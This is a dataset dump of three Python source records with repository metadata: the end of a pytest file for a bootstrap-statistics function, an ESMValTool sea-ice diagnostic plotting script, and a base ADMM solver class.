 # check properties and values of dictionary output\n    assert len(test_dict) == 9\n\n    assert test_dict[\"lower\"] == 1.5\n\n    assert test_dict[\"upper\"] == 3.5\n\n    assert test_dict[\"std_err\"] == 0.5414773771820943\n\n    assert test_dict[\"sample_size\"] == 4\n\n    assert test_dict[\"n\"] == 'auto'\n\n    assert test_dict['rep'] == 1000\n\n    assert test_dict['level'] == 0.95\n\n    assert test_dict['estimator'] == 'mean'\n\n    # increasing sampling number should decrease the standard error\n    assert test_dict_2['std_err'] > test_dict_3['std_err']\n\n    # changing level parameter should change its value\n    assert test_dict_2['level'] != test_dict['level']\n\n    # changing estimate parameter should change its value\n    assert test_dict_3['estimator'] == 'var'\n\n\ndef test_calculate_boot_stats_errors():\n    \"\"\"\n    Tests error cases and messages thrown by `calculate_boot_stats()`.\n\n    4 tests in total.\n    \"\"\"\n\n    # tests with invalid input type of sample\n    with raises(TypeError) as e:\n        calculate_boot_stats([1, 2, 3, 4],\n        1000,\n        level='ninety-five',\n        estimator=\"mean\",\n        random_seed=123)\n    assert str(e.value) == (\"level should be of type 'float'\")\n\n    with raises(TypeError) as e:\n        calculate_boot_stats([1, 2, 3, 4],\n        1000,\n        level=0.95,\n        estimator=\"mean\",\n        random_seed=123,\n        pass_dist='True')\n    assert str(e.value) == (\"pass_dist should be of type 'bool'\")\n\n    with raises(ValueError) as e:\n        calculate_boot_stats([1, 2, 3, 4],\n        1000,\n        level=1.0,\n        estimator=\"mean\",\n        random_seed=123)\n    assert str(e.value) == (\"level should be between 0 and 1\")\n\n    with raises(ValueError) as e:\n        calculate_boot_stats([1, 2, 3, 4],\n        1000,\n        level=0.0,\n        estimator=\"mean\",\n        random_seed=123)\n    assert str(e.value) == (\"level should be between 0 and 1\")\n\n    with pytest.warns(UserWarning) as w:\n        calculate_boot_stats([1, 2, 3, 4],\n                            1000,\n                            level=0.05)\n    assert w", "meta": {"hexsha": "c85e2688da8a0ad00a3f5c12ee4e8fbf44eb0ce4", "size": 6844, "ext": "py", "lang": "Python", "max_stars_repo_path": "tests/test_bootstrap.py", "max_stars_repo_name": "flor14/strapvizpy", "max_stars_repo_head_hexsha": "24338c466308a96131834ea0b621daee38ace90a", "max_stars_repo_licenses": ["MIT"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "tests/test_bootstrap.py", "max_issues_repo_name": "flor14/strapvizpy", "max_issues_repo_head_hexsha": "24338c466308a96131834ea0b621daee38ace90a", "max_issues_repo_licenses": ["MIT"], "max_issues_count": 20, "max_issues_repo_issues_event_min_datetime": "2022-01-12T17:49:25.000Z", "max_issues_repo_issues_event_max_datetime": "2022-01-22T03:49:59.000Z", "max_forks_repo_path": "tests/test_bootstrap.py", "max_forks_repo_name": "UBC-MDS/strapPy", "max_forks_repo_head_hexsha": "51436435b3e8e3a513629b77dc0f61994fcbf089", "max_forks_repo_licenses": ["MIT"], "max_forks_count": 3, "max_forks_repo_forks_event_min_datetime": "2022-01-12T00:42:09.000Z", "max_forks_repo_forks_event_max_datetime": "2022-01-15T22:22:07.000Z", "avg_line_length": 30.0175438596, "max_line_length": 77, "alphanum_fraction": 0.6037405026, "include": true, "reason": "import numpy", "num_tokens": 1745, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.4416730056646256, "lm_q2_score": 0.1175721211776735, "lm_q1q2_score": 0.05192843214290863}}
{"text": "\"\"\"\nSea Ice Diagnostics.\n====================\n\nDiagnostic to produce a series of images which are useful for evaluating\nthe behaviour of the a sea ice model.\n\nThere are three kinds of plots shown here.\n1. Sea ice Extent maps plots with a stereoscoic projection.\n2. Maps plots of individual models ice fracrtion.\n3. Time series plots for the total ice extent.\n\nAll three kinds of plots are made for both Summer and Winter in both the\nNorth and Southern hemisphere.\n\nNote that this diagnostic assumes that the preprocessors do the bulk of the\nhard work, and that the cube received by this diagnostic (via the settings.yml\nand metadata.yml files) has no time component, a small number of depth layers,\nand a latitude and longitude coordinates.\n\nThis diagnostic takes data from either North or South hemisphere, and\nfrom either December-January-February or June-July-August. This diagnostic\nrequires the data to be 2D+time, and typically expects the data field to be\nthe sea ice cover.\nAn approproate preprocessor would be::\n\n  preprocessors:\n    timeseries_NHW_ice_extent: # North Hemisphere Winter ice_extent\n      custom_order: true\n      extract_time:\n          start_year: 1960\n          start_month: 12\n          start_day: 1\n          end_year: 2005\n          end_month: 9\n          end_day: 31\n      extract_season:\n        season: DJF\n      extract_region:\n        start_longitude: -180.\n        end_longitude: 180.\n        start_latitude: 0.\n        end_latitude: 90.\n\n\nNote that this recipe may not function on machines with no access to the\ninternet, as cartopy may try to download the shapefiles. The solution to\nthis issue is the put the relevant cartopy shapefiles on a disk visible to your\nmachine, then link that path to ESMValTool via the `auxiliary_data_dir`\nvariable. The cartopy masking files can be downloaded from::\n\n    https://www.naturalearthdata.com/downloads/\n\nHere, cartopy uses the 1:10, physical coastlines and land files::\n\n        110m_coastline.dbf  110m_coastline.shp  110m_coastline.shx\n        110m_land.dbf  110m_land.shp  110m_land.shx\n\nThis tool is part of the ocean diagnostic tools package in the ESMValTool.\n\nAuthor: Lee de Mora (PML)\n        ledm@pml.ac.uk\n\"\"\"\nimport logging\nimport os\nimport sys\nfrom itertools import product\n\nimport cartopy\nimport iris\nimport iris.coord_categorisation\nimport iris.quickplot as qplt\nimport matplotlib\nimport matplotlib.pyplot as plt\nimport numpy as np\n\nfrom esmvaltool.diag_scripts.ocean import diagnostic_tools as diagtools\nfrom esmvaltool.diag_scripts.shared import run_diagnostic\n\n# This part sends debug statements to stdout\nlogger = logging.getLogger(os.path.basename(__file__))\nlogging.getLogger().addHandler(logging.StreamHandler(sys.stdout))\n\n\n# Note that this recipe may not function on machines with no access to\n# the internet, as cartopy may try to download geographic files.\n\n\ndef create_ice_cmap(threshold=0.15):\n    \"\"\"\n    Create colour map with ocean blue below a threshold and white above.\n\n    Parameters\n    ----------\n    threshold: float\n        The threshold for the line between blue and white.\n\n    Returns\n    -------\n    matplotlib.colors.LinearSegmentedColormap:\n        The resulting colour map.\n\n    \"\"\"\n    threshold = threshold / 100.\n    ice_cmap_dict = {\n        'red': ((0., 0.0313, 0.0313), (threshold, 0.0313, 1.), (1., 1., 1.)),\n        'green': ((0., 0.237, 0.237), (threshold, 0.237, 1.), (1., 1., 1.)),\n        'blue': ((0., 0.456, 0.456), (threshold, 0.456, 1.), (1., 1., 1.))\n    }\n\n    return matplotlib.colors.LinearSegmentedColormap('ice_cmap', ice_cmap_dict)\n\n\ndef calculate_area_time_series(cube, plot_type, threshold):\n    \"\"\"\n    Calculate the area of unmasked cube cells.\n\n    Requires a cube with two spacial dimensions. (no depth coordinate).\n\n    Parameters\n    ----------\n    cube: iris.cube.Cube\n        Data Cube\n    plot_type: str\n        The type of plot: ice extent or ice area\n    threshold: float\n        The threshold for ice fraction (typically 15%)\n\n    Returns\n    -------\n    numpy array:\n        An numpy array containing the time points.\n    numpy.array:\n        An numpy array containing the total ice extent or total ice area.\n\n    \"\"\"\n    data = []\n    times = diagtools.cube_time_to_float(cube)\n    for time_itr, time in enumerate(times):\n        icedata = cube[time_itr].data\n\n        area = iris.analysis.cartography.area_weights(cube[time_itr])\n        if plot_type.lower() == 'ice extent':\n            # Ice extend is the area with more than 15% ice cover.\n            icedata = np.ma.masked_where(icedata < threshold, icedata)\n            total_area = np.ma.masked_where(icedata.mask, area.data).sum()\n        if plot_type.lower() == 'ice area':\n            # Ice area is cover * cell area\n            total_area = np.sum(icedata * area)\n\n        logger.debug('Calculating time series area: %s, %s, %s,', time_itr,\n                     time, total_area)\n        data.append(total_area)\n\n    ######\n    # Create a small dummy output array\n    data = np.array(data)\n    return times, data\n\n\ndef make_ts_plots(\n        cfg,\n        metadata,\n        filename,\n):\n    \"\"\"\n    Make a ice extent and ice area time series plot for an individual model.\n\n    Parameters\n    ----------\n    cfg: dict\n        the opened global config dictionairy, passed by ESMValTool.\n    metadata: dict\n        The metadata dictionairy for a specific model.\n    filename: str\n        The preprocessed model file.\n\n    \"\"\"\n    # Load cube and set up units\n    cube = iris.load_cube(filename)\n    iris.coord_categorisation.add_year(cube, 'time')\n    cube = diagtools.bgc_units(cube, metadata['short_name'])\n    cube = agregate_by_season(cube)\n\n    # Is this data is a multi-model dataset?\n    multi_model = metadata['dataset'].find('MultiModel') > -1\n\n    # Make a dict of cubes for each layer.\n    cubes = diagtools.make_cube_layer_dict(cube)\n\n    # Load image format extention\n    image_extention = diagtools.get_image_format(cfg)\n\n    # # Load threshold, pole, season.\n    threshold = float(cfg['threshold'])\n    pole = get_pole(cube)\n    season = get_season(cube)\n\n    # Making plots for each layer\n    for plot_type in ['Ice Extent', 'Ice Area']:\n        for layer_index, (layer, cube_layer) in enumerate(cubes.items()):\n            layer = str(layer)\n\n            times, data = calculate_area_time_series(cube_layer, plot_type,\n                                                     threshold)\n\n            plt.plot(times, data)\n\n            # Add title to plot\n            title = ' '.join(\n                [metadata['dataset'], pole, 'hemisphere', season, plot_type])\n            if layer:\n                title = ' '.join([\n                    title, '(', layer,\n                    str(cube_layer.coords('depth')[0].units), ')'\n                ])\n            plt.title(title)\n\n            # y axis label:\n            plt.ylabel(' '.join([plot_type, 'm^2']))\n\n            # Determine image filename:\n            suffix = '_'.join(['ts', metadata['preprocessor'], season, pole,\n                               plot_type, str(layer_index)])\\\n                     + image_extention\n            suffix = suffix.replace(' ', '')\n            if multi_model:\n                path = diagtools.folder(\n                    cfg['plot_dir']) + os.path.basename(filename)\n                path = path.replace('.nc', suffix)\n            else:\n                path = diagtools.get_image_path(\n                    cfg,\n                    metadata,\n                    suffix=suffix,\n                )\n\n            # Saving files:\n            if cfg['write_plots']:\n                logger.info('Saving plots to %s', path)\n                plt.savefig(path)\n\n            plt.close()\n\n\ndef make_polar_map(\n        cube,\n        pole='North',\n        cmap='Blues_r',\n):\n    \"\"\"\n    Make a polar stereoscopic map plot.\n\n    The cube is the opened cube (two dimensional),\n    pole is the polar region (North/South)\n    cmap is the colourmap,\n\n    Parameters\n    ----------\n    cube: iris.cube.Cube\n        Data Cube\n    pole: str\n        The hemisphere\n    cmap: str\n        The string describing the matplotlib colourmap.\n\n    Returns\n    ----------\n    matplotlib.pyplot.figure:\n        The matplotlib figure where the map was drawn.\n    matplotlib.pyplot.axes:\n        The matplotlib axes where the map was drawn.\n\n    \"\"\"\n    fig = plt.figure()\n    fig.set_size_inches(7, 7)\n\n    # ####\n    # Set  limits, based on https://nedbatchelder.com/blog/200806/pylint.html\n\n    if pole not in ['North', 'South']:\n        logger.fatal('make_polar_map: hemisphere not provided.')\n\n    if pole == 'North':  # North Hemisphere\n        ax1 = plt.subplot(111, projection=cartopy.crs.NorthPolarStereo())\n        ax1.set_extent([-180, 180, 50, 90], cartopy.crs.PlateCarree())\n\n    if pole == 'South':  # South Hemisphere\n        ax1 = plt.subplot(111, projection=cartopy.crs.SouthPolarStereo())\n        ax1.set_extent([-180, 180, -90, -50], cartopy.crs.PlateCarree())\n\n    linrange = np.linspace(0., 100., 21.)\n    qplt.contourf(cube, linrange, cmap=cmap, linewidth=0, rasterized=True)\n    plt.tight_layout()\n\n    try:\n        ax1.add_feature(\n            cartopy.feature.LAND,\n            zorder=10,\n            facecolor=[0.8, 0.8, 0.8],\n        )\n    except ConnectionRefusedError:\n        logger.error('Cartopy was unable add coastlines due to  a '\n                     'connection error.')\n    ax1.gridlines(\n        linewidth=0.5, color='black', zorder=20, alpha=0.5, linestyle='--')\n    try:\n        plt.gca().coastlines()\n    except AttributeError:\n        logger.warning('make_polar_map: Not able to add coastlines')\n    return fig\n\n\ndef get_pole(cube):\n    \"\"\"\n    Figure out the hemisphere and returns it as a string (North or South).\n\n    Parameters\n    ----------\n    cube: iris.cube.Cube\n        Data Cube\n\n    Returns\n    ----------\n    str:\n        The hemisphere (North or South)\n\n    \"\"\"\n    margin = 5.\n    if np.max(cube.coord('latitude').points) < 0. + margin:\n        return 'South'\n    if np.min(cube.coord('latitude').points) > 0. - margin:\n        return 'North'\n    logger.fatal('get_pole: Not able to determine hemisphere.')\n    return False\n\n\ndef get_time_string(cube):\n    \"\"\"\n    Return a climatological season string in the format: \"year season\".\n\n    Parameters\n    ----------\n    cube: iris.cube.Cube\n        Data Cube\n\n    Returns\n    ----------\n    str:\n        The climatological season as a string\n\n    \"\"\"\n    season = cube.coord('clim_season').points\n    year = cube.coord('year').points\n    return str(int(year[0])) + ' ' + season[0].upper()\n\n\ndef get_year(cube):\n    \"\"\"\n    Return the cube year as a string.\n\n    Parameters\n    ----------\n    cube: iris.cube.Cube\n        Data Cube\n\n    Returns\n    ----------\n    str:\n        The year as a string\n\n    \"\"\"\n    year = cube.coord('year').points\n    return str(int(year))\n\n\ndef get_season(cube):\n    \"\"\"\n    Return a climatological season time string.\n\n    Parameters\n    ----------\n    cube: iris.cube.Cube\n        Data Cube\n\n    Returns\n    ----------\n    str:\n        The climatological season as a string\n\n    \"\"\"\n    season = cube.coord('clim_season').points\n    return season[0].upper()\n\n\ndef make_map_plots(\n        cfg,\n        metadata,\n        filename,\n):\n    \"\"\"\n    Make a simple map plot for an individual model.\n\n    Parameters\n    ----------\n    cfg: dict\n        the opened global config dictionairy, passed by ESMValTool.\n    metadata: dict\n        The metadata dictionairy for a specific model.\n    filename: str\n        The preprocessed model file.\n\n    \"\"\"\n    # Load cube and set up units\n    cube = iris.load_cube(filename)\n    iris.coord_categorisation.add_year(cube, 'time')\n    cube = diagtools.bgc_units(cube, metadata['short_name'])\n    cube = agregate_by_season(cube)\n\n    # Is this data is a multi-model dataset?\n    multi_model = metadata['dataset'].find('MultiModel') > -1\n\n    # Make a dict of cubes for each layer.\n    cubes = diagtools.make_cube_layer_dict(cube)\n\n    # Load image format extention and threshold.\n    image_extention = diagtools.get_image_format(cfg)\n    threshold = float(cfg['threshold'])\n\n    # Making plots for each layer\n    plot_types = ['Fractional cover', 'Ice Extent']\n    plot_times = [0, -1]\n    for plot_type, plot_time in product(plot_types, plot_times):\n        for layer_index, (layer, cube_layer) in enumerate(cubes.items()):\n            layer = str(layer)\n\n            if plot_type == 'Fractional cover':\n                cmap = 'Blues_r'\n            if plot_type == 'Ice Extent':\n                cmap = create_ice_cmap(threshold)\n\n            cube = cube_layer[plot_time]\n\n            # use cube to determine which hemisphere, season and year.\n            pole = get_pole(cube)\n            time_str = get_time_string(cube)\n\n            # Make the polar map.\n            make_polar_map(cube, pole=pole, cmap=cmap)\n\n            # Add title to plot\n            title = ' '.join([metadata['dataset'], plot_type, time_str])\n            if layer:\n                title = ' '.join([\n                    title, '(', layer,\n                    str(cube_layer.coords('depth')[0].units), ')'\n                ])\n            plt.title(title)\n\n            # Determine image filename:\n            suffix = '_'.join(\n                ['ortho_map', plot_type, time_str,\n                 str(layer_index)])\n            suffix = suffix.replace(' ', '') + image_extention\n            if multi_model:\n                path = diagtools.folder(cfg['plot_dir'])\n                path = path + os.path.basename(filename)\n                path = path.replace('.nc', suffix)\n            else:\n                path = diagtools.get_image_path(\n                    cfg,\n                    metadata,\n                    suffix=suffix,\n                )\n\n            # Saving files:\n            if cfg['write_plots']:\n                logger.info('Saving plots to %s', path)\n                plt.savefig(path)\n\n            plt.close()\n\n\ndef agregate_by_season(cube):\n    \"\"\"\n    Aggregate the cube into seasonal means.\n\n    Note that it is not currently possible to do this in the preprocessor,\n    as the seasonal mean changes the cube units.\n\n    Parameters\n    ----------\n    cube: iris.cube.Cube\n        Data Cube\n\n    Returns\n    ----------\n    iris.cube.Cube:\n        Data Cube with the seasonal means\n\n    \"\"\"\n    if not cube.coords('clim_season'):\n        iris.coord_categorisation.add_season(cube, 'time', name='clim_season')\n    if not cube.coords('season_year'):\n        iris.coord_categorisation.add_season_year(\n            cube, 'time', name='season_year')\n    return cube.aggregated_by(['clim_season', 'season_year'],\n                              iris.analysis.MEAN)\n\n\ndef make_map_extent_plots(\n        cfg,\n        metadata,\n        filename,\n):\n    \"\"\"\n    Make an extent map plot showing several times for an individual model.\n\n    Parameters\n    ----------\n    cfg: dict\n        the opened global config dictionairy, passed by ESMValTool.\n    metadata: dict\n        The metadata dictionairy for a specific model.\n    filename: str\n        The preprocessed model file.\n\n    \"\"\"\n    # Load cube and set up units\n    cube = iris.load_cube(filename)\n    iris.coord_categorisation.add_year(cube, 'time')\n    cube = diagtools.bgc_units(cube, metadata['short_name'])\n    cube = agregate_by_season(cube)\n\n    # Is this data is a multi-model dataset?\n    multi_model = metadata['dataset'].find('MultiModel') > -1\n\n    # Make a dict of cubes for each layer.\n    cubes = diagtools.make_cube_layer_dict(cube)\n\n    # Load image format extention\n    image_extention = diagtools.get_image_format(cfg)\n\n    # Load threshold, pole and season\n    threshold = float(cfg['threshold'])\n    pole = get_pole(cube)\n    season = get_season(cube)\n\n    # Start making figure\n    for layer_index, (layer, cube_layer) in enumerate(cubes.items()):\n\n        fig = plt.figure()\n        fig.set_size_inches(7, 7)\n\n        if pole == 'North':  # North Hemisphere\n            projection = cartopy.crs.NorthPolarStereo()\n            ax1 = plt.subplot(111, projection=projection)\n            ax1.set_extent([-180, 180, 50, 90], cartopy.crs.PlateCarree())\n\n        if pole == 'South':  # South Hemisphere\n            projection = cartopy.crs.SouthPolarStereo()\n            ax1 = plt.subplot(111, projection=projection)\n            ax1.set_extent([-180, 180, -90, -50], cartopy.crs.PlateCarree())\n        try:\n            ax1.add_feature(\n                cartopy.feature.LAND, zorder=10, facecolor=[0.8, 0.8, 0.8])\n        except ConnectionRefusedError:\n            logger.error('Cartopy was unable add coastlines due to  a '\n                         'connection error.')\n\n        ax1.gridlines(\n            linewidth=0.5, color='black', zorder=20, alpha=0.5, linestyle='--')\n\n        try:\n            plt.gca().coastlines()\n        except AttributeError:\n            logger.warning('make_polar_map: Not able to add coastlines')\n\n        times = np.array(cube.coord('time').points.astype(float))\n        plot_desc = {}\n        for time_itr, time in enumerate(times):\n            cube = cube_layer[time_itr]\n            line_width = 1\n            color = plt.cm.jet(float(time_itr) / float(len(times)))\n            label = get_year(cube)\n            plot_desc[time] = {'label': label,\n                               'c': [color, ],\n                               'lw': [line_width, ],\n                               'ls': ['-', ]}\n\n            layer = str(layer)\n            qplt.contour(cube,\n                         [threshold, ],\n                         colors=plot_desc[time]['c'],\n                         linewidths=plot_desc[time]['lw'],\n                         linestyles=plot_desc[time]['ls'],\n                         rasterized=True)\n\n        # Add legend\n        legend_size = len(plot_desc) + 1\n        ncols = int(legend_size / 25) + 1\n        ax1.set_position([\n            ax1.get_position().x0,\n            ax1.get_position().y0,\n            ax1.get_position().width * (1. - 0.1 * ncols),\n            ax1.get_position().height\n        ])\n\n        fig.set_size_inches(7 + ncols * 1.2, 7)\n\n        # Construct dummy plots.\n        for i in sorted(plot_desc):\n            plt.plot(\n                [],\n                [],\n                c=plot_desc[i]['c'][0],\n                lw=plot_desc[i]['lw'][0],\n                ls=plot_desc[i]['ls'][0],\n                label=plot_desc[i]['label'],\n            )\n\n        legd = ax1.legend(\n            loc='center left',\n            ncol=ncols,\n            prop={'size': 10},\n            bbox_to_anchor=(1., 0.5))\n        legd.draw_frame(False)\n        legd.get_frame().set_alpha(0.)\n\n        # Add title to plot\n        title = ' '.join([\n            metadata['dataset'],\n        ])\n        if layer:\n            title = ' '.join([\n                title, '(', layer,\n                str(cube_layer.coords('depth')[0].units), ')'\n            ])\n        plt.title(title)\n\n        # Determine image filename:\n        suffix = '_'.join(['ortho_map', pole, season, str(layer_index)])\n        suffix = suffix.replace(' ', '') + image_extention\n        if multi_model:\n            path = diagtools.folder(cfg['plot_dir'])\n            path = path + os.path.basename(filename)\n            path = path.replace('.nc', suffix)\n        else:\n            path = diagtools.get_image_path(\n                cfg,\n                metadata,\n                suffix=suffix,\n            )\n\n        # Saving files:\n        if cfg['write_plots']:\n            logger.info('Saving plots to %s', path)\n            plt.savefig(path)\n        plt.close()\n\n\ndef main(cfg):\n    \"\"\"\n    Load the config file and metadata, then pass them the plot making tools.\n\n    Parameters\n    ----------\n    cfg: dict\n        the opened global config dictionairy, passed by ESMValTool.\n\n    \"\"\"\n    cartopy.config['data_dir'] = cfg['auxiliary_data_dir']\n\n    for index, metadata_filename in enumerate(cfg['input_files']):\n        logger.info(\n            'metadata filename:\\t%s',\n            metadata_filename,\n        )\n\n        metadatas = diagtools.get_input_files(cfg, index=index)\n        for filename in sorted(metadatas):\n\n            logger.info('-----------------')\n            logger.info(\n                'model filenames:\\t%s',\n                filename,\n            )\n            ######\n            # extent maps plots of individual models\n            make_map_extent_plots(cfg, metadatas[filename], filename)\n\n            ######\n            # maps plots of individual models\n            make_map_plots(cfg, metadatas[filename], filename)\n\n            ######\n            # time series plots o\n            make_ts_plots(cfg, metadatas[filename], filename)\n\n    logger.info('Success')\n\n\nif __name__ == '__main__':\n    with run_diagnostic() as config:\n        main(config)\n", "meta": {"hexsha": "b9f9109313908cd8eb7bbda571041dbc120af3a2", "size": 20795, "ext": "py", "lang": "Python", "max_stars_repo_path": "esmvaltool/diag_scripts/ocean/diagnostic_seaice.py", "max_stars_repo_name": "chrisdane/ESMValTool", "max_stars_repo_head_hexsha": "35e0c2b0dbaa0927a2d677f382b43520633a1a0f", "max_stars_repo_licenses": ["Apache-2.0"], "max_stars_count": 1, "max_stars_repo_stars_event_min_datetime": "2022-03-20T13:59:07.000Z", "max_stars_repo_stars_event_max_datetime": "2022-03-20T13:59:07.000Z", "max_issues_repo_path": "esmvaltool/diag_scripts/ocean/diagnostic_seaice.py", "max_issues_repo_name": "chrisdane/ESMValTool", "max_issues_repo_head_hexsha": "35e0c2b0dbaa0927a2d677f382b43520633a1a0f", "max_issues_repo_licenses": ["Apache-2.0"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "esmvaltool/diag_scripts/ocean/diagnostic_seaice.py", "max_forks_repo_name": "chrisdane/ESMValTool", "max_forks_repo_head_hexsha": "35e0c2b0dbaa0927a2d677f382b43520633a1a0f", "max_forks_repo_licenses": ["Apache-2.0"], "max_forks_count": 1, "max_forks_repo_forks_event_min_datetime": "2022-03-20T13:59:21.000Z", "max_forks_repo_forks_event_max_datetime": "2022-03-20T13:59:21.000Z", "avg_line_length": 29.454674221, "max_line_length": 79, "alphanum_fraction": 0.5813416687, "include": true, "reason": "import numpy", "num_tokens": 4788, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.44167299096624174, "lm_q2_score": 0.11757212272365286, "lm_q1q2_score": 0.051928431097605796}}
{"text": "#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\n\n@author: Frank Nussbaum (frank.nussbaum@uni-jena.de), 2019\n\n\"\"\"\nimport abc\nimport numpy as np\n\n#import time\n\n# pylint: disable=R0914\n\n\nclass BaseAdmm(abc.ABC):\n    \"\"\"A base class for ADMM solvers.\n    \n    Attributes:\n        admm_param (float): initial admm parameter\n        opts (dict): dictionary of solver options\n    \"\"\"\n\n    def __init__(self):\n        super().__init__()\n        self.admm_param = 1  # TODO(franknu): external access\n        self.opts = {}\n        self.set_defaults_admm()\n\n    @abc.abstractmethod\n    def _do_iter_admm(self, current_vars: tuple):\n        \"\"\"perform computations of one ADMM iteration\"\"\"\n        raise NotImplementedError  # override in derived classes\n\n    @abc.abstractmethod\n    def _initialize_admm(self):\n        \"\"\"initialize ADMM variables\"\"\"\n        raise NotImplementedError  # override in derived classes\n\n#    def _collect(self, current_vars: tuple):\n#        \"\"\"store information of ADMM variables in dictionairy\"\"\"\n#        raise NotImplementedError  # override in derived classes\n\n    def _report(self, out):\n        \"\"\"print stats after solving\"\"\"\n        print('>', out['message'])\n        print('> (P)ADMM: obj: %e, iter: %d, resid:%e' %\n              (out['obj'], out['iter'], out['resid']))\n        try:\n            print('> regparams used:', self.get_regparams())\n        except AttributeError:\n            # Method get_regparams does not exist\n            pass\n\n        for i, var in enumerate(out['solution']):\n            print('norm optvar%d=%f' % (i, np.linalg.norm(var)))\n\n    def set_defaults_admm(self):\n        \"\"\"Set default solver options in class attribute opt.\n        \n        Adjustable solver options contain abstol, reltol,\n        maxiter, stoptol, verb, etc.\"\"\"\n        self.opts = {}\n        self.opts.setdefault('abstol', 1e-5)\n        self.opts.setdefault('reltol', 1e-5)\n\n        self.opts.setdefault('continuation', 1)\n        self.opts.setdefault('num_continuation', 10)\n        #        self.opts.setdefault('cont_adaptive', 10)\n        self.opts.setdefault('continuation_fac', 2)\n        #        self.opts.setdefault('eta', .25)\n        #        self.opts.setdefault('muf', 1e-6)\n        self.opts.setdefault('maxiter', 500)\n        self.opts.setdefault('stoptol', 1e-5)\n\n        self.opts.setdefault('verb', 0)\n\n    def _solve(self, warminit=None):\n        \"\"\"\n        solve a generic ADMM problem\n        \"\"\"\n        ## initialization\n        current_vars = self._initialize_admm()\n        if not warminit is None:\n            current_vars = warminit\n\n        hist = np.empty((5, self.opts['maxiter'] + 1))\n        history = {\n            'objval': hist[0, :],\n            'r_norm': hist[1, :],\n            's_norm': hist[2, :],\n            'eps_pri': hist[3, :],\n            'eps_dual': hist[4, :]\n        }\n\n        for i in range(1, self.opts['maxiter'] + 1):\n            ## update Theta\n            current_vars, residuals, stats = self._do_iter_admm(current_vars)\n\n            ## diagnostics, reporting, termination checks\n            rnorm, snorm, eps_pri, eps_dual = residuals\n\n            history['objval'][i] = stats['admm_obj']\n\n            history['r_norm'][i] = rnorm\n            history['s_norm'][i] = snorm\n\n            history['eps_pri'][i] = eps_pri\n            history['eps_dual'][i] = eps_dual\n\n#            print(i % self.opts['verb'])\n            if self.opts['verb'] and i % self.opts['verb'] == 0:\n                print('%3d\\t%10.4f %10.4f %10.4f %10.4f %10.2f' %\n                      (i, history['r_norm'][i], history['eps_pri'][i],\n                       history['s_norm'][i], history['eps_dual'][i],\n                       history['objval'][i]))  # resid %10.2f\n\n            ## check stop\n            pridualresids_below_tolerance = (rnorm < eps_pri and\n                                             snorm < eps_dual)\n\n            if pridualresids_below_tolerance:\n                break\n\n            if self.opts['continuation'] and \\\n                i % self.opts['num_continuation'] == 0:\n                # self-adaptive update\n                # generally: larger admm_param leads to lower penalty on\n                # primal residual (resid)\n                admm_param_old = self.admm_param\n\n                admm_state = eps_pri, eps_dual, rnorm, snorm\n\n                if (i / self.opts['num_continuation']) % 5 == 1:\n                    self._cont_update_2019(admm_state)\n                else:\n                    self._cont_update_s2a(admm_state)\n\n                if self.opts['verb'] and self.admm_param != admm_param_old:\n                    print('>> New ADMM parameter', self.admm_param,\n                          '(old was %f)' % (admm_param_old))\n\n        out = {}\n        if pridualresids_below_tolerance:\n            out['message'] = b'CONVERGENCE: primal and dual residual below tolerance'\n        else:\n            out['message'] = b'STOP: TOTAL NO. of ITERATIONS EXCEEDS LIMIT'\n\n        out['history'] = history\n        out['iter'] = i\n        # out['admm_obj'] = history['objval'][i] # already in stats, see below\n\n        out.update(stats)\n\n        return out\n\n    def _cont_update_s2a(self, admm_state, criticalratio: int = 5):\n        \"\"\" update S2a from my master thesis\n        uses more robust constant size updates of admm_param\"\"\"\n\n        eps_pri, eps_dual, rnorm, snorm = admm_state\n\n        snorm_rel = snorm / eps_dual\n        rnorm_rel = rnorm / eps_pri\n        if snorm_rel < 1 and rnorm_rel < 1:\n            return  # residuals are already smaller than tolerancies\n\n#        print(snorm_rel, rnorm_rel)\n\n        ## do scaling of admm_param if necessary\n        if rnorm_rel > snorm_rel * criticalratio:\n            # decrease admm_param\n            self.admm_param /= self.opts['continuation_fac']\n        elif snorm_rel > rnorm_rel * criticalratio:\n            # increase admm_param\n            self.admm_param *= self.opts['continuation_fac']\n\n    def _cont_update_2019(self,\n                         admm_state,\n                         criticalratio: int = 5,\n                         cutoff: tuple = (1e-2, 1e2)):\n        \"\"\" update that respects current ratio of residuals with tolerancies\"\"\"\n        # TODO(franknu): consider speed of improvement instead of\n        # just current state? - hist as class variable??\n        # ML to learn update?\n        eps_pri, eps_dual, rnorm, snorm = admm_state\n        snorm_rel = snorm / eps_dual\n        rnorm_rel = rnorm / eps_pri\n\n        if snorm_rel < 1 and rnorm_rel < 1:\n            return  # residuals are already smaller than tolerancies\n\n        # do cutoff\n        lower, upper = cutoff\n        snorm_rel = min(upper, max((snorm_rel, lower)))\n        rnorm_rel = min(upper, max((rnorm_rel, lower)))\n\n        if snorm_rel < 1:\n            # decrease ADMM param\n            # increases penalty for violations of primal feasibiity\n            scaling_factor = 1 / rnorm_rel\n        elif rnorm_rel < 1:\n            # increase ADMM param\n            # decreases penalty for violations of primal feasibiity\n            scaling_factor = snorm_rel\n        else:\n            scaling_factor = snorm_rel / rnorm_rel\n\n#        if self.opts['verb']:\n#            print(snorm_rel, rnorm_rel)\n\n        ## do scaling of admm_param if necessary\n        if max((scaling_factor, 1 / scaling_factor)) > criticalratio:\n\n            if rnorm_rel >= 1 and snorm_rel >= 1:\n                scaling_factor = (scaling_factor)**.8\n                # inhibition, draw towards 1\n\n            if self.opts['verb']:\n                print('scaling_factor', scaling_factor)\n            self.admm_param *= scaling_factor\n\n    def solve(self, report=False, warminit=None, **kwargs):\n        \"\"\"solve the problem\n        \n        Args:\n            report (bool): whether to print additional summary.\n            warminit (solver state): starting point for the solver.\n            kwargs (optional): additional solver options to replace defaults. \n        \n        Returns:\n            dict: dictionary with info about solution/solving process\n        \"\"\"\n\n        self.opts.update(**kwargs) # update solver options\n\n        if report:\n            print('>solver options', self.opts)\n\n        ## select appropriate sparsity-inducing norms and corresponding proximity operators\n\n        out = self._solve(warminit=warminit)\n\n        if report:\n            self._report(out)\n\n        if not out['message'].startswith(b'CONV'):\n            print(out['message'])\n\n        return out\n", 